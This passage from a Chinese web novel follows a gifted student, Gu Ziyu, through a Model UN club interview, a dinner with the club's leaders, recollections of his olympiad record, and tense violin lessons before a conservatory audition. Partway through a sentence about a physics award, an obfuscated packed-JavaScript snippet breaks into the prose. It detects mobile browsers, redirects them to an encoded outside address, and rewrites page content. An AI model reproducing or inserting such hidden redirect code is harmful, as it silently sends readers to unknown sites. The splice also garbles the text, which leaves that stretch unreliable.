加洛林是一个松散的联邦,由多个国家联合组成,政治平衡极其复杂,十年前,联邦内部的经济陷入了深度衰退,危机的起因包括了某国战后解体所造成的结构性变化、加洛林联邦统一货币带来的政策压力和索伦合众国次贷危机引起的对全球经济的冲击。如今的加洛林联邦正面临着严重的金融和经济危机,联邦内部多个国家的公共债务剧增,货币平均通胀率在过去五年内达到了1.9%,虽然不算高,但对出口竞争力造成了一定的削弱,商品出口减少,GDP下降,债务压力上升,各个国家经济体发展的不均衡给加洛林联邦带来了很大的难题。 德意志作为加洛林经济火车头之一,到底应该怎样面对这场危机,各个媒体、学者都对此提出了有意义的见解。事实上,德意志属于加洛林联邦中的核心国家,拥有较强的话语权,这个问题的核心在于——作为“核心国”,德意志需要平衡三个方面的利益来带动加洛林联邦经济: 从本国的立场,德意志一向是提倡财政纪律的稳定性和紧缩政策,不愿意为其他高债国买单;从联邦的立场,联邦希望保持整体的经济稳定,不希望看到任何一个国家破产;从全球经济来看,联邦始终需要保持以出口为导向的经济结构。 这个问题并不新鲜了,相应的分析顾梓聿也看过不少,完全可以行使“拿来主义”,几个要点接连在脑海里跳出,一份工作文件的雏形已经自动形成了: 首先,德意志可以要求高债国进行结构性改革,例如提高税收效率、削减公共开支、打击腐败等,同时加强联盟的财政监督机制,例如推动更统一的财政政策等。 其次,在帮助高债国的基础上,设立有限支持机制基金,伴以严格的改革条件,由此,经济援助不是往无底洞里填金,而是切实地伴随高债国可量化的进步。 宏观方面,强化区域合作、扩大内需,鼓励本国和联邦内经济稳定的成员国扩大进口,以拉动高债国国家的出口,并建立更自由的劳动流动机制,促进劳动力资源的再分配。长期的激励政策则需要推动技术创新和绿色投资,倡议联邦联合投资于清洁能源或人工智能等未来领域,增加就业机会,缓解部分成员国的失业问题。 不过,顾梓聿这个人有一个毛病,他可以很勤奋很认真,竭尽全力地去做一件事情,追求完美到极致,同时他也是一个非必需情况下能偷懒就偷懒的人,尤其是,他对于炫耀自己然后让在座所有人大跌眼镜狂喊“大神”的行为十分地不感兴趣。当年体育考试时他引体向上达到满分后就绝不愿意再多做一个,今天他站在这里面试觉得自己已经够标准了,就绝不会再多费脑筋,只为了博得惊讶的赞许。 他笑了笑,拍了拍手,权作模仿会议上国家代表要提出动议时的示意,说道:“ Motion ! The delegate of Germany regard it as inappropriate to enter the formal debate at that time, with an iplete position paper and a wrong time schedule. The delegate would like to yield time to the chair. ” 话音刚落,坐着旁听的副社长田元元就放肆地笑出声来,杜若钦的性子冷清,其实没有几个亲近的朋友,大家都挺怵她,不过田元元和杜若钦关系不错,所以敢这么没大没小。 她觉得这个学弟挺有意思,她本来还等着看他怎样绞尽脑汁,在几分钟之内不依靠查找资料来回答这个问题呢,没想到他居然把这个难题踢了回来,直接带入自己“德意志代表”的身份,对“大会主席”杜若钦提出动议,说什么“德意志代表提出动议,鉴于不恰当的时间安排加上不完备的立场文件,代表拒绝进入正式辩论并且把发言时间让渡给主席”。 这样的回答在此时此地,竟是分外的诙谐却又很恰当。 本来么,这只是一个招新面试,根本还没到这程度呢。不过这新人挺厉害啊,还没经过培训就对整个会议流程了如指掌,她一边好奇边推了推杜若钦的手肘,低声笑到:“钦钦,人家小学弟都说你这问题提得不恰当了,杀鸡焉用牛刀啊,你还不赶快结束啊。” 坐在田元元旁边的另一位副社胖子郭弢,其实人家也不算胖,就是比较高大壮而已,听到这句“钦钦”再看看自家社长那冷峻的侧脸下颌线,身上都起了鸡皮疙瘩,田元元居然还取笑她,赶快装作没听到。杜若钦先是横了一眼田元元,但是被她那无忧无虑阳光甜美的笑容击败后,没有表情地说:“ok, this motion passed. ” 杜若钦盯了顾梓聿一眼,不就是想看看这家伙到底水平如何嘛,居然不按套路来反将了她一军,她有点失望的小生气,连句基本的礼仪用语都不想说。 顾梓聿倒是没当回事,没心没肺地给笑了回去——开玩笑,能省份力干嘛要累着自己?杜若钦都不想理他,懒得问他名字怎么写,直接把他登记进正式社员名单。 看着学姐潇洒地签下自己的名字,顾梓聿才确定学姐刚才就是装的不认识,促狭一笑,故意没心没肺地笑着打招呼:“学姐,好久不见呐。” 43.夜话 招新一直持续了很久,直到夜幕降临,第二节晚自习的上课铃声响起,最后一位面试者才堪堪结束。 对于高一来面试的小朋友们来说,晚自习不是硬性要求的,也没有老师坐班或者安排考试,所以他们可以优哉游哉地;而几位模联社的元老们,虽然已经处于高二甚至高三的关键时段,但都或决定出国留学或已经拿到保送资格,其实也没什么可紧张的。 大家一下课就赶着来面试,晚饭都没吃,于是一群人就浩浩荡荡热热闹闹地就出发去打牙祭去了,目的地——食堂。 早秋的晚风吹来,带来了一点点凉意,二十多个人的队伍拉的很长,从恳行楼走到食堂就是从学校的前门走到后门,路蛮远的。新进的社员都在队伍后段,彼此间都很陌生,慢慢地就三三两两地走在一起,相互询问着班级宿舍,竟也慢慢聊开来。社员中新进的大多数是女生,顾梓聿没什么聊天的兴致,懒懒散散地跟在前头几个元老后面,双手插着裤袋,感受着秋风拂面的惬意。 陈心乔也通过了面试。她虽然语言水平一般,不过对时事还是有几分自己的见解的,加上人也大大方方的,上得了台面,便也被录取了。正好模联社的指导老师赵奇今年准备发展一个华纳语分社,对外语能力不做要求,有意培养她,便只暗中观察。 姜明珺凭借着流利的近乎母语水平的语言能力轻松入选。不过其实她对模联活动并不感兴趣,愿意来参加不单是因为陈心乔的痴缠,还因为模联成员在校内拥有着一点莫名其妙的特权,和竞赛生、体育生一样享受着免除繁杂手续,“随时请假”的豁免。这对于时不时就想偷点懒的姜明珺来说,实在是再大不过的诱惑。 陈心乔依旧和姜明珺走在一起,她勾着姜明珺的手,走在顾梓聿后头。看着男生随意地双手插袋、偏过头去,竟有一种说不出的潇洒风流气度,令她为之心折。她连忙拽了下姜明珺的手,示意她看过去,姜明珺却是不为所动:看惯了也就不足为奇了。她自小与哥哥和顾梓聿一同长大,实在已经免疫了,只是看着陈心乔这样痴迷,她也就顺从地看向那个方向,然后装作赞同地点点头。 她被陈心乔拽得紧紧的,心里略有点不适感:虽然和陈心乔也算是认识了三年的同学,可在这之前她们俩几乎没有说过几句话,不过是在学校走廊上遇到会说一声“嗨”的点头之交。在她的印象里,陈心乔是一个不怎么爱与别人打交道的人,在班里也就和她的同桌玩的特别好,对其他人都是淡淡的。 不知道怎么回事,过了一个暑假,似乎陈心乔一下子就变了一个人,变的特别活泼开朗,分班时陈心乔一遇见她就表现得十分亲热,还格外粘人,整日里都同她形影不离。如果不是姜明珺确信自己没有年纪轻轻就失忆老糊涂的话,她真的会以为陈心乔就是她八拜之交、肝胆相照的铁杆闺蜜呢! 只是她一向都不习惯拒绝别人,加上陈心乔这样地对她,她也不好意思拿冷脸去回应,只能将就着。不过根据这两天来看,可别是因为陈心乔喜欢顾梓聿,才想来接近她的吧。 姜明珺看着陈心乔挽着自己的手,着实有些无奈。 “顾梓聿,是吧?”田元元刚和杜若钦咬完耳朵,就转头看向顾梓聿,两眼放光的样子就好像挖到了宝。顾梓聿被这样的赤.裸.裸.的眼神吓到了,努力镇定地微笑:“怎么了,学姐?” “小顾,不要害怕!叫我元元就行,我不像你杜学姐那样会吃人的。”田元元眯起右眼狡黠一笑,像极了女明星朱茵在电影里那标志性的一笑。这句话果不其然地换来了杜若钦的一个白眼,不过田元元没当一回事:“小顾,你的水平很不错嘛,胆子也很大,没有经过我们的培训就有这样的表现,你之前接触过模联吗?” 模联是什么?它是一种模拟国际联盟议事程序、讨论及解决国际问题的学术活动。参与者们扮演不同国家的外交官,举行模拟会议。会议的目的,是通过发言辩论、有组织或自由的磋商以及私下的游说,最终形成草案并付诸投票,转化为大部分与会者达成共识的决议。这样一份文件,便是会议的初步成果。 严格来说,模联不过是短短三、四天的会议,然而,与会代表需要做好充分的准备,不仅是学术上,也是心理上的。 在会前,代表要深入理解会议设立的议题,研究大会组委会分发的背景资料,了解问题产生的历史背景和现实影响,全面掌握本国立场。而一个国家的立场,往往是由此国家的历史发展、经济结构、以及各政治外交政策交织作用的结果。这样的准备过程,实际上是一个多学科知识的整合过程,对代表本身的学术素质提出了极高要求。 即使在会议前阅览了数十万字的资料、撰写完立场文件,参加了全部前期工作会议,做足了案头功课,这一切,也不过是万里长征的第一步。 在会议过程中,危机与变数始终如影随形。先不论组委会可能安排发生的“突发事件”,单是为了形成一份具备广泛共识的草案,背后所需的磋商、谈判与游说,便已充满挑战。 如何在维护本国权益的同时,兼顾他国关切,得到帕累托最优解,而不是双方僵持到损人不利己的纳什平衡?这不仅考验代表的语言表达与逻辑辩论能力,更锻炼他们在冲突中寻找共识、在分歧中寻求最大公约数的外交智慧。 更不用说,在会议进行过程中,代表还需要撰写大量工作文件,而大会所用的工作语言是索伦语了。 这样的能力,并不是短短几个月可以靠填鸭式的培训训练出来的,这是需要代表本人的日积月累、潜移默化而形成的。拥有这样能力的人少之又少,因而模联社在招新时,尽管已经把标准放到很低很低,低到只要能了解国际联盟机构、对国际问题有自己的见解、索伦语足够表达就行了,却还是只选上了不到二十人。 最重要的是,每年二月份举行的、国际上最知名的 HMUN 模联会议,现在已经开始接受报名了。而模联社今年正处在青黄不接的状态中——杜若钦作为社长,去年就在 HMUN 上拿到了荣誉代表奖,虽然不是最高奖,但却是华纳中学生在 HMUN 上拿过的最好的名次,更何况她当时拿到的国家是一个印度洋上的岛国,和大会当场投票表决选出的无人机议题根本没有半点关系。 作为一个无足轻重的小国代表,能够在最后关头拿出草案,说动索伦代表——这个在战争中普遍使用无人机,却误伤了不少的当地平民、甚至是儿童的国家——以及路阿斯亚、华纳代表签名附议支持她的草案,甚至最后通过投票,成为大会赛程中唯一一项获三分之二多数同意的决议,杜若钦的能力确实是很强。 她、杜若钦和郭弢都已经是高三的学生了,按道理最迟本学期末就应该要卸任,把模联社交给下一届的学生了。可是不知道怎么回事,这一届的学生个个是温润有余、犀利不足。高二目前最突出的林亦凡,虽然是个男生,却是四平八稳的性格,做大会主席就很好,可当起代表来不爱争,也争不过人家,他的文件是写得很好,但每次到最后都被旁人夺走了主动权。 模联的很大一个特点就是,做得多的人往往不是最后拿奖的,而最后拿奖的一定是全会场表现最亮眼的,林亦凡最大的特点就是容易让人把他忽略,这样的人在国内还好些,派到国际赛场上去,非得被那些代表啃得骨架子都不剩。 不过,这个顾梓聿嘛,看起来倒像是块难啃的骨头。看他刚来就敢和杜若钦呛声,而那些已经和杜若钦相处了一年多的社员还对她唯唯诺诺的,胆子倒是很大。 顾梓聿自然不知道自己的表现在田元元眼里的评价竟有这么高。其实人就是这样的,在他人眼中的优秀,往往对于另一个人来说只是一种习惯。对顾梓聿来说,他习惯于做每件事都尽力做到最好,参加模联的面试,自然事先作了准备,把相关的专业词语、活动流程弄清楚。 而对于顾梓聿来说,他还有一个优势是别人没有,而他自己目前仍尚未察觉到的: 他的生父唐维钧,虽然英年早逝却有着非凡优异的履历:平民家庭的孩子,帝国最顶尖大学理工科背景出身,第一位在二十五岁之前成为正教授的学术天才,在学生运动中保护了学生并全身而退,在受到前任皇帝的赏识后放弃大学教职全心辅佐皇室,历任帝国数个重要职位,是前任皇帝陛下的首席顾问,在前任皇帝陛下逝世后放弃外交大臣的职位,远赴斯堪拉担任外交大使的同时,也是内阁政策智库的领导者之一。 而他的养父,军事豪门的世家公子,前帝国安全局的行动指挥官出身的顾仲景,作为八卦小报票选的全帝国最帅气政治人物第二名,纵使有过一段风流肆意、骄横顽劣、只识跑马斗鹰勾搭美人的荒唐岁月,却也好歹在32岁时就坐到了上校的位置。 顾梓聿的这两位父亲,都是人中之龙,这样的父亲无形之中对孩子的影响是根深蒂固的。顾梓聿幼年时得到了自己亲生父母的精心培养,那时他虽然还小,父母平时谈论的虽然听不懂,但却潜移默化地影响了他,把那种高效的、科学的思维方式根植在了他的骨血中。 顾仲景年轻时自己过得很荒唐,由此也吃了不少苦头,收养了顾梓聿后深怕有负故人重托,于是对顾梓聿的教育是万分不敢懈怠。虽然有时对顾梓聿是严格过多,早几年前动辄是棍棒上身,但总体来说是非常上心,可以算得上是呕心沥血了。所幸顾梓聿随了他父母,天分高、悟性好,懂事又勤奋,以至于长到这么大了,竟似乎没有什么是他做不到的。 “之前我确实没有接触过模联这类活动,不过来面试前我有上网看了点相关资料,然后就把那些程序啊、用词都记下来了。”顾梓聿迎着田元元灼灼的目光,有点尴尬,这位学姐怎么和何蔚一个性格,似乎都很喜欢看他被逗得窘迫的样子。 “你确实不错,别的新生看到我们家钦钦严肃的样子都不敢造次,你倒好,还敢调侃回来,胆子不小嘛,是个可造之才。” 田元元真的是吃定了杜若钦,一句一句地挤兑,杜若钦当没听见,一旁的郭弢倒也回过头颇有兴趣地看着这个小学弟:“有兴趣来我们广播站吗?我觉得你声线不错。” 嗯? 顾梓聿正被这两句话问的发懵,走在前头的杜若钦头也没回,好不容易发了话: “顾梓聿,你倒是走近些,我又不吃人,你慢慢吞吞地吊在后面,我这两位副社扭着脖子都快落枕啦!” 两位副社听着这话都笑起来,顾梓聿摸不准学姐的脾气,连忙几步赶上,田元元默契地让了一个位置,顾梓聿便走在了杜若钦的身边。 很快就进食堂了,两位指导老师一路上一直在商量着事情,跟学生们点了点头就坐到了靠里一点的桌子,并没有和学生们一起吃饭。杜若钦理所当然地落座,田元元和郭弢非常识趣地带着新生去窗口点菜,而顾梓聿看了看周围,最后还是在杜若钦状若无意的眼神示意下,迫于压力乖乖地落坐在杜若钦的对面。 “顾梓聿,我没有想到你会来参加模联社团,你平常学习压力应该很重吧,特别是你还在做竞赛,我知道平常的课业对你来说不难,但初中的课难度和高中不可同日而语。模联比赛和学科竞赛不同,即使拿奖,对你的升学起到的帮助也不大。如果你是要参加高考,我劝你还是集中心力做一件事的好。” 如果此时田元元在座,听到自家社长这样还想把优秀种子往外赶的话,一定会气傻的:她还在担心无人可用呢! 顾梓聿听到这一番话,纵使不知道现如今模联社正面临着捉襟见肘的窘境,却也为学姐这样替他着想、开诚布公的一番话而感动。 他坦白答道:“学姐,我现在没有在准备任何竞赛了,而且估计也只会在高中部读一年高一。” “是有出国的打算?”杜若钦没有什么惊讶的表情,但微微上扬的语调里还是泄露了她的好奇。 “是啊。” “出国读高中?你在这里也会有很好的前途的,现在正是出成果的时候啊。” 杜若钦一般不是一个多话的人,不过她确实很好奇这位学弟为什么要在这么一个不尴不尬的年纪出去,况且他在国内还有着不错的资本。 “嗯,出去就是走艺术专业了,主修小提琴和理论作曲,所以…” “所以,现在学的东西,对你也没有什么帮助了。” 杜若钦了然地接道。 “嗯。”顾梓聿点点头。 很奇怪,这些事他没有想过告诉任何一个同学,却选择了告诉眼前这个不是特别熟的学姐。 “不过,我还是觉得很可惜。” 出乎顾梓聿意料地,杜若钦加了一句。 杜若钦自己是走数学竞赛出来的,她之后放弃了,不是因为太累了不喜欢,而是因为能力有限,她看得到自己的尽头:她是一个很“功利”的人,讲求付出和回报成正比,然而,国家队成员只有六名,她能过省赛、全国赛,全国赛能拿到一等奖,但这又如何呢?全国赛一等奖有42个,她是这四十二中的一员,却永远不可能成为那六名中的一个。努力决定了她的下限,天赋却决定了她的上限,她服输,于是她调转车头,向着容易攻坚的堡垒冲去。 但,顾梓聿比她强得多。 在初中部的时候,她就听说过这个学弟的事迹:还是小学生的顾梓聿在上初中前就已经提前修完了中学数学和物理,在鹿城八中,尽管将大半精力投入了各种竞赛,他的学业成绩却一直保持在年级前三甚至第一的位置,这意味着他几乎就是鹿城的第一了。 最开始,他同时加入了数学、物理和信息学的竞赛小组,在化学课程提前班开始后,他推掉了物理竞赛课,加入了化学竞赛小组,但私底下仍然在自学着物理竞赛内容。在刚接触化学仅仅一个学期后,他在初一下学期就获得了初中生化学竞赛全国一等奖。初二时,他拿到了物理奥赛 CPhO 全国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311291|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一等奖,入选了国际物理奥林匹克竞赛 IPhO 的国家集训队。要知道,国际物理奥林匹克竞赛是世界上最高级别的竞赛,但还在读初中的顾梓聿却做到了。 杜若钦知道,这一切的背后,不可能是简单的“运气”二字可以解释的。顾梓聿在集训期间请假参加数学奥赛 CMO 比赛,又获得了全国一等奖,入选了数学国家集训队。在两个国家集训队封闭训练时间重叠的情况下,顾梓聿靠着部分自学、请假考试,最终在两个集训队都留到了最后:他是数学国家队的六分之一,和物理国家队的五分之一。 最终,顾梓聿选择了留在整体实力较弱的物理国家队,杜若钦听过那个非常有名的故事,当时,顾梓聿和4名队友赴索伦参加第43届国际物理奥赛,一名索伦队的带队教练还向他打听“认不认识华纳一个很有名的、在数学竞赛方面很强的Gu”。当得知“Gu”就是眼前这个少年时,他还非常疑惑地询问,是否“Gu”走错了赛场。 而顾梓聿在物理竞赛中同样捍卫了他的名声:他在368名选手中获得了金牌第一名。 这是初二的事情,而初三上学期顾梓聿参加了高中生化学联赛CChO拿了国家二等奖,与国家队入选标准失之交臂,据说就这个成绩他还被批评了一顿。 更可怕的是,在初一和初二顾梓聿都参加了全国青少年信息学竞赛NOI,获得国家一等奖并入选国家队,本来他很可能在第三年的 IOI 国际信息学竞赛中斩获一枚奖牌的,但听说好像是去参加了小提琴的比赛吧,就错过了这个机会。 在杜若钦看来,顾梓聿迄今为止的整个竞赛生涯和获奖经历都说明了他既有实力又有天分,那样程度的激烈竞争是无法取巧、无法仅凭运气来赢得胜利的,能得到这些荣誉绝对是非常、非常的不容易。她有理想,可却没有实现的能力。顾梓聿有能力,但却没有实现的欲望。 她在一边旁观,实在是觉得有些暴殄天物:看着这样耀眼的才华要被丢弃,正如露出锋芒的宝剑将被收敛,她始终觉得可惜。 她看着顾梓聿,听到她说的那句“可惜”后,并没什么表情,便好笑地为自己的多管闲事叹了口气。不远处社员们纷纷拿着点好的小炒过来了,她也就收拾起心情,不再谈这事,而是起身帮忙去拿了筷子。 顾梓聿的心情没有人能懂。他不是不难受,杜若钦刚才说的那句“可惜”牵动了他心底最深的情绪。这一年以来,他为着一个无根无据的威胁,一退再退,放弃了很多,失去了很多,特别是最近,自从离开家,离开顾仲景,走在校园里,他总觉得自己空落落地,很寂寞。 曾经,他失去过很多,他的家,他的父母,他的亲人,他本该有的生活。但是后来他又得到了很多,他来到鹿城,他有了一个新爸爸顾仲景,他有了一个像爷爷一样疼他的吴老师,他有了朋友、兄弟,有了喜欢的姑娘,有了包容他、纵容他的老师们,和像兄长一样的程琤。 但现在,他又失去了一切。命运带走了吴老师,使他的朋友和姑娘离他远去,而那个高悬在头顶的达摩克利斯之剑,又逼得他一退再退,失去了得到程琤和其他师长关注的特权。每个人的精力都是宝贵而有限的,作为一个辜负了所有人的期望、令人失望的黑羊,他又有什么资格去得到任何分外的青眼和关照呢? 曾经,他凭借自己的优秀令人关注,当这份优秀不在,关注自然也会随之而去吧,这没有什么可质疑的。 “诶,社长和你商量好了吧?” 顾梓聿被这声音惊得抬起头,原来是郭弢捧着一个还点着火的小锅走到他旁边坐下。郭弢看着顾梓聿投过来的眼神,笑道:“食堂二楼最好吃的麻辣香锅,没点过吧?” “哦,就是这个啊!我看排队的一半是老师,都不敢过去。”顾梓聿收拾好情绪,笑着回答。 “对啊,这不是正好没人跟咱们抢吗,你尝尝,味道可好了。诶,你能吃辣吧?” 郭弢端过来两碗饭,又递过来一双筷子。 顾梓聿近来胃一直不是很好,他在家里清淡惯了,可学校的食堂估计是为了迎合大众口味,菜做的很重口,连单纯的炒青菜都要加辣椒。再加上每天下课后全校都要跑一千米的“体测”,他现在又什么特殊身份都没有,根本没借口请假,跑完步马上去吃饭,对他的胃绝对是一个不小的负担。 况且宿舍生活,他的舍友又不像他一样吊儿郎当,都勤奋的很,熄灯熄得也晚,深夜里,他闭着眼躺着,感觉着灯光印在视网膜上的灼热,胃隐隐痛着,一股一股地往上泛酸。 但他笑了笑,面对这盆闻起来就很辣的菜开心的说道:“好香啊弢哥,我都忍不住了,我们开吃吧!” 他刚要下筷,姜明珺走了过来,先是瞪了他一眼,然后转过去对郭弢甜甜地笑着、还带着点平常讲话绝不会有的嗲劲:“学长,我们刚才也排这个窗口的,可是阿姨说你们是最后一份了,真的不好意思啊。”她指了指那一头一群女孩子,转过来继续说,“我们都没吃过好想尝尝的,可不可以...可不可以你们尝尝我们点的菜,然后把这个换给我们啊~” 可能姜明珺一辈子矫柔造作的分量都在此时此刻用光了,顾梓聿目瞪口呆地看着这个妹妹娇声娇气地撒着娇,然后郭弢就爽快地同意了,还把麻辣香锅亲自给她们那桌女生端了过去。姜明珺跟在后面,回过头来凶狠地指了指顾梓聿,然后呲牙做了一个拉脖子的动作,又瞪了他一眼,才得意地回去。 这…顾梓聿苦笑地摇摇头——倒是被这小丫头片子管得严。 郭弢没一会儿就端着一碟青菜一碟豆腐回来了,豆腐里好歹有点肉丁,但显而易见地,郭副社并不觉得吃亏。田元元和杜若钦也过来了,两人倒是小资,点了一份煎牛排一份煎大虾,四个人坐下吃了起来,杜若钦没再提起刚才的话头。 郭弢继续问道:“社长,我看我们可以替顾梓聿报名几个国内的大会吧,正好蔚蓝的报名马上就要结束了,他现在这个水平我们也就只能教他一点点东西了,放他去实战增加点经验倒是很好。” 顾梓聿还没有发表自己的意见呢,杜若钦毫无烟火气的声音就插了进来:“不必了,直接替他报名HMUN吧。” “这…”田元元有点惊讶,郭弢也不太同意:“他还没有过参会经验呢,怎么就直接去参加HMUN?HMUN明年去也行啊,更有把握。” 杜若钦独断专行的气质再一次表露无遗:“顾梓聿是把利刃,这样的选手国内赛放不下,浪费了。让他去国际上一鸣惊人吧。” 被点名作“利刃”的顾梓聿一脸羞红的表情,这样中二的话从杜若钦嘴里说出来她本人竟不觉得尴尬。 田元元和郭弢并不知道顾梓聿的底细,而杜若钦懂,他参与过了这么多的国际比赛,经验已然很丰富,即使不是同类比赛但也总有规律可循,撑得起台面。顾梓聿只有一年时间,她等不起,他也等不及。 44.因果早定 顾梓聿急急忙忙锁了宿舍的门——他总是宿舍里最后一个出门的。快步走出宿舍楼,等他走到食堂抬手看了看表,已经7点15了,他顿时眼前一黑:今天又要迟到了。 宿舍里四个人,马凯和方岳这两个书痴,刚开学就超拼命的,可能是因为中考考得不理想,排名在班级靠后,他们两人简直是秉持着“生前何必久睡,死后必然长眠”的精神,头悬梁锥刺股,晚上一直在宿舍楼的自习室里自习到熄灯才回来,早上五点起来读课文背单词,然后还去跑步,此时两人应该早已坐在教室里了吧。 而邹宽,作息也很是规律,每天早上六点二十准时起床,六点半就出门了。 就他一个人,常常是要磨到最后一分钟再出门。闹钟先是从六点半挪到六点四十、再六点五十,前两天甚至改到了七点,然后闹钟响了他还要在被窝里再翻滚两下,磨蹭一会儿,贪恋那一点暖。结果就是,他总是踩着上课铃声走进班级。 他早读基本上算是都翘掉了,仗着班干部都是老熟人;上课迟到一些嘛,老师们也都是睁一只眼闭一只眼——第一节课通常是数学或国文,这两位老师都是属于“你会了就行别的我不管那么多”那种心大的,所以顾梓聿其实骨子里还是有点有恃无恐的,反正迟到一点也不会怎么样。 就是有几次遇到年段长被念了几句,也不算什么。 当然,他给自己找的借口倒是很多:他这么辛苦,平常要上课,周二下午五点半下课了要马上赶到广播站做四十五分钟的节目,这个时间,别的同学们可以去吃饭,他只能饿着肚子再去上第一节晚自习。 还有杜若钦这个“冷面”、“残忍”、“狠心”的学姐,自从替他报名了 HMUN 之后就开始死命地练他,每天发给他一堆的阅读材料,要求写分析写摘要写提案,还占据了他周末的一整个白天,和田元元郭弢还有两位辅导老师一起给新进的社员开小灶——当然重点被练的对象是他。 除此之外,他还得为小提琴专业面试做准备。因为宋熙和现在常驻申城,他每个周末都得飞过去上琴课。算下来,生活的忙碌程度竟不比当年备战竞赛时轻多少。 初试可以靠梅纽因的头奖和师兄的推荐信免试通过,但复试必须凭真本事。自选曲目包含音阶、帕格尼尼的随想曲、巴赫的奏鸣曲,以及一首协奏曲的第一乐章。帕格尼尼的曲子得从头开始学,时间紧张,于是宋熙和决定从顾梓聿学过的协奏曲里挑一首再仔细打磨,而巴赫则沿用备战梅纽因时的曲子,把重点放在帕格尼尼上。 顾梓聿过去跟着吴老师学琴,主攻乐团曲目,协奏曲也没跟着考级教材走,而是挑的经典作品。师兄弟两人坐下来盘点了一下能用的曲目,可以拿来应对面试的,也就四首协奏曲:布鲁赫 G 小调第一协奏曲,门德尔松 E 小调,莫扎特 A 大调第五协奏曲,和威尼亚夫斯基 D 小调第二协奏曲。 其中,威尼亚夫斯基是后来跟着宋熙和学的,为了准备梅纽因中途搁下了,也就堪堪完成了第一乐章。 “你有没有特别偏好的?”宋熙和问道,如果小孩有自己的偏好,那就很容易决定了。 顾梓聿想了想,老老实实地说:“好像……没有诶,我都挺喜欢的,平等地喜欢。威尼亚夫斯基相对熟一些,但细节还需要打磨;其他几首要捡起来也很快。” “好纠结啊你,”宋熙和笑着摇摇头,的确,这几首曲子都各有优势,“那我换个方式,问你几个问题,看看你究竟适合哪一首。” “好啊,师兄你问。” “首先,学新曲子时,你是练技术部分,专注于音符和节奏的准确,还是先听录音、分析乐句和情感?或者你更倾向把曲子分成较小的乐段,同时攻克技术难点和音乐性的诠释?” “嗯,我的习惯是先听几个大师版本,让耳朵先熟悉曲子,再读谱,从头一小段一小段练,技术和音乐性一起过,不会直接上高难度片段。师兄你不是说过吗,不能还没摸清风格就上手乱拉,会拉偏的。” 宋熙和挑眉:“可以,有在认真听课。” “其次,你觉得自己的技术优势是什么?左手的颗粒感?音色?还是弓法?” “我觉得我的右手还有很多可以提升的空间,综合来看,我还是音色最有优势。”顾梓聿也不知道,他有点迷茫,“师兄觉得呢?” “我同意。你的音色是你的亮点,左手有表现力,右手还有成长空间。” “第三个问题,你更偏好哪种音乐?是结构清晰平衡的,还是情感充沛浪漫的,还是炫技型的?” 顾梓聿想了想:“我喜欢结构清晰平衡的,但浪漫的好像更容易抓住听众,而且有故事的曲子,表达起来更自由一点,清晰地表述出乐曲结构不容易,而故事总是有更多的空间去表达,在面试的时候应该也会讨巧一点吧?” “想得还挺远的哦。”宋熙和笑了笑,顾梓聿嘴巴一抿,被夸地有点翘尾巴。 “最后一个问题,在表演时你更看重什么?技术的控制力?和观众建立情感联系?还是喜欢挑战高难度的炫技?” 宋熙和其实已经知道小师弟会选什么了,答案太明显了,不是吗? “当然是和观众建立连接。”顾梓聿毫不犹豫,“炫技不是目的,只是手段,或者说工具吧。” 宋熙和满意地点点头:“那我们来分析一下,你更倾向于理解音乐性和乐曲情绪,歌唱性的音色是你的强项,这点我同意,至少右手确实目前还不行,”忽略了顾梓聿一瞬间皱眉的苦瓜脸,宋熙和继续说,“这样看下来,首先就可以排除布鲁赫。” “布鲁赫需要强劲而富有戏剧性的弓法,这部协奏曲非常辉煌,有很多炫技且令人兴奋的元素,在我看来,虽然你可以完成这部曲子,但你的台风在这首曲子上估计不会有很大的亮点。莫扎特更强调优美的音色和音乐性,这一方面你是有优势的,这个协奏曲需要精致而优雅的声音,同时还有平衡而清晰的结构,需要通过细微之处来表达情感连接,非常需要清晰度、连贯性和精确性,你目前的水平可以掌控,但我觉得还有更好的选择。” “门德尔松需要很好的理解,富有歌唱性的旋律,需要华丽的声音,也需要浪漫的表达,这几个特点都很符合你,还有跟观众建立情感链接的能力。威尼亚夫斯基是这四个里面技术难度最高的,快速的音阶、琶音双音、音准和音色,如果你有信心打磨细节的话,它能把你的左手和音色优势都放到最大,会是一个惊喜。” “所以,如果保守一点,就选择门德尔松,想拼一把的话,那我们就一起磨威尼亚夫斯基,磨出一个能让评审们屏息凝神的作品!” 顾梓聿被这句话煽得有点热血。他低下头小声问自己:我真的可以吗?又抬起眼看向宋熙和,眼神里有点没底,却也藏着跃跃欲试。 宋熙和笑着看他:“梓聿,我很期待跟你一起攻克这个难关!” 话是这么说,但这个难关是真难啊! 顾梓聿最近周身总是萦绕着实质般的沮丧和哀怨。大概是和宋熙和的“蜜月期”结束了吧,师兄一改之前对他的好脸色,最近几节课,眉毛不是眉毛眼睛不是眼睛的,一开口就让他心头一紧,一条音阶就能被叫停好多次,帕格尼尼的随想曲每一行都能被挑出音准问题。顾梓聿明明在家里反复练过,对着较音器一遍遍地抠,可在宋熙和面前,却连半页都走不通。 “停吧,这音准我实在听不下去,你回去慢慢练吧。我听听协奏曲。” 顾梓聿浑身汗毛都炸了起来,这种评价是何等的羞辱!他知道音准是小提琴手一生都需要克服的难题,但他没想到,自己这么认真、这么努力,居然还能被这样毫不留情地否定。 “不会吧……”他还想弱弱地为自己争取一下,自己在这首随想曲上花的时间可是难以计数,师兄总得听完给点建议啊,除了音准,不是还有右手的弓法、力度的变化、乐句的处理吗,他总不能白练了这一星期啊! “我在家里练的时候也有对着较音器,要不我从头再来一遍?” 宋熙和一脸严肃地看着他,没有了往日的温和耐心:“我说你音不准,就是不准。没必要质疑,回家练去吧。你耳朵没你自己想象得那么好。” 这简直是双重暴击!顾梓聿整个人都不好了,浑身都臊热起来,明明已经是需要穿毛衣的季节,他却觉得置身在桑拿房。他无措地抓了抓头发,但是心理防线已经逐渐崩溃,这几个星期日,他都是抱着满腔热忱来上课的,结果却总是带着一身沉重和自我怀疑离开。他不想承认,但宋熙和的失望比责骂更让他难以承受。 